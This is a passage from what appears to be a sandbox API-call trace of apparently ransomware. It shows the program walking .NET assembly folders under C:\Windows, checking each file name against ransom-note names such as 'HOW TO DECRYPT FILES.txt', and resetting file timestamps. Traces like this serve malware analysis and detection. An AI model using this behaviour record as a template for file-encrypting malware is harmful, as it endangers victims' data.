returned="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.706] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.708] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.708] CloseHandle (hObject=0x90) returned 1 [0101.708] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf39a9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xbf39a9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xab9cd29c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="sysglobl.dll", cAlternateFileName="")) returned 0 [0101.709] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.709] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 0 [0101.709] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.709] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790073, dwReserved1=0x670073, cFileName="System", cAlternateFileName="")) returned 1 [0101.709] lstrcmpA (lpString1=".", lpString2="System") returned -1 [0101.709] lstrcmpA (lpString1="..", lpString2="System") returned -1 [0101.709] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.709] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.710] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.710] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.710] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.710] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.710] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc007ae19, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc007ae19, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b77a5c561934e089", cAlternateFileName="200~1.0__")) returned 1 [0101.710] lstrcmpA (lpString1=".", lpString2="2.0.0.0__b77a5c561934e089") returned -1 [0101.710] lstrcmpA (lpString1="..", lpString2="2.0.0.0__b77a5c561934e089") returned -1 [0101.710] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System\\*.*") returned="*.*" [0101.711] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc007ae19, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc007ae19, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.711] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.711] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc007ae19, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc007ae19, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.711] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.711] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.711] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x850a1657, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x850a1657, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x853e749d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.dll", cAlternateFileName="")) returned 1 [0101.711] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.712] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.dll") returned -1 [0101.712] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.dll") returned -1 [0101.712] lstrcmpiA (lpString1="", lpString2="System.dll") returned -1 [0101.712] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.712] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\" [0101.712] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\") returned="" [0101.714] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.714] CloseHandle (hObject=0x90) returned 1 [0101.714] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x850a1657, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x850a1657, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x853e749d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.dll", cAlternateFileName="")) returned 0 [0101.714] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.714] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc007ae19, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc007ae19, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b77a5c561934e089", cAlternateFileName="200~1.0__")) returned 0 [0101.714] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.715] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6992cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6992cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.AddIn", cAlternateFileName="SYSTEM~1.ADD")) returned 1 [0101.715] lstrcmpA (lpString1=".", lpString2="System.AddIn") returned -1 [0101.715] lstrcmpA (lpString1="..", lpString2="System.AddIn") returned -1 [0101.715] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.715] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6992cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6992cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.716] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.716] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6992cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6992cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.716] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.716] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.716] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52706fb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52706fb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 1 [0101.716] lstrcmpA (lpString1=".", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.716] lstrcmpA (lpString1="..", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.716] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\*.*") returned="*.*" [0101.716] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52706fb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52706fb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.717] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.717] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52706fb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52706fb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.717] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.717] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.717] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52706fb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5272d110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0101.717] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.773] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.AddIn.dll") returned -1 [0101.773] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.AddIn.dll") returned -1 [0101.773] lstrcmpiA (lpString1="", lpString2="System.AddIn.dll") returned -1 [0101.773] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\2.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\2.0.0.0__b03f5f7f11d50a3a\\" [0101.774] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\2.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\2.0.0.0__b03f5f7f11d50a3a\\") returned="" [0101.777] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.777] CloseHandle (hObject=0x90) returned 1 [0101.777] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52706fb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5272d110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0101.777] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.777] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf46dea3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf46dea3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 1 [0101.777] lstrcmpA (lpString1=".", lpString2="3.5.0.0__b77a5c561934e089") returned -1 [0101.777] lstrcmpA (lpString1="..", lpString2="3.5.0.0__b77a5c561934e089") returned -1 [0101.778] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\*.*") returned="*.*" [0101.778] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\3.5.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf46dea3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf46dea3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.778] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.778] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf46dea3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf46dea3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.778] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.778] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.778] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0101.779] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.779] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.AddIn.dll") returned -1 [0101.779] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.AddIn.dll") returned -1 [0101.779] lstrcmpiA (lpString1="", lpString2="System.AddIn.dll") returned -1 [0101.779] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\3.5.0.0__b77a5c561934e089\\*.*") returned="*.*" [0101.779] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\3.5.0.0__b77a5c561934e089\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\3.5.0.0__b77a5c561934e089\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\3.5.0.0__b77a5c561934e089\\" [0101.779] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\3.5.0.0__b77a5c561934e089\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn\\3.5.0.0__b77a5c561934e089\\") returned="" [0101.781] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.782] CloseHandle (hObject=0x90) returned 1 [0101.782] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 0 [0101.782] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.782] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf46dea3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf46dea3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="3.5.0.0__b77a5c561934e089", cAlternateFileName="350~1.0__")) returned 0 [0101.782] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.782] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.AddIn.Contract", cAlternateFileName="SYSTEM~2.CON")) returned 1 [0101.783] lstrcmpA (lpString1=".", lpString2="System.AddIn.Contract") returned -1 [0101.783] lstrcmpA (lpString1="..", lpString2="System.AddIn.Contract") returned -1 [0101.783] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.783] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.784] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.784] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a4fe61, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a4fe61, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.784] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.784] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.784] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf636f27, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf636f27, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 1 [0101.784] lstrcmpA (lpString1=".", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.784] lstrcmpA (lpString1="..", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.784] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\*.*") returned="*.*" [0101.784] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.AddIn.Contract\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf636f27, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf636f27, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.785] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.785] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf636f27, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf636f27, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.785] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.785] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.785] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: 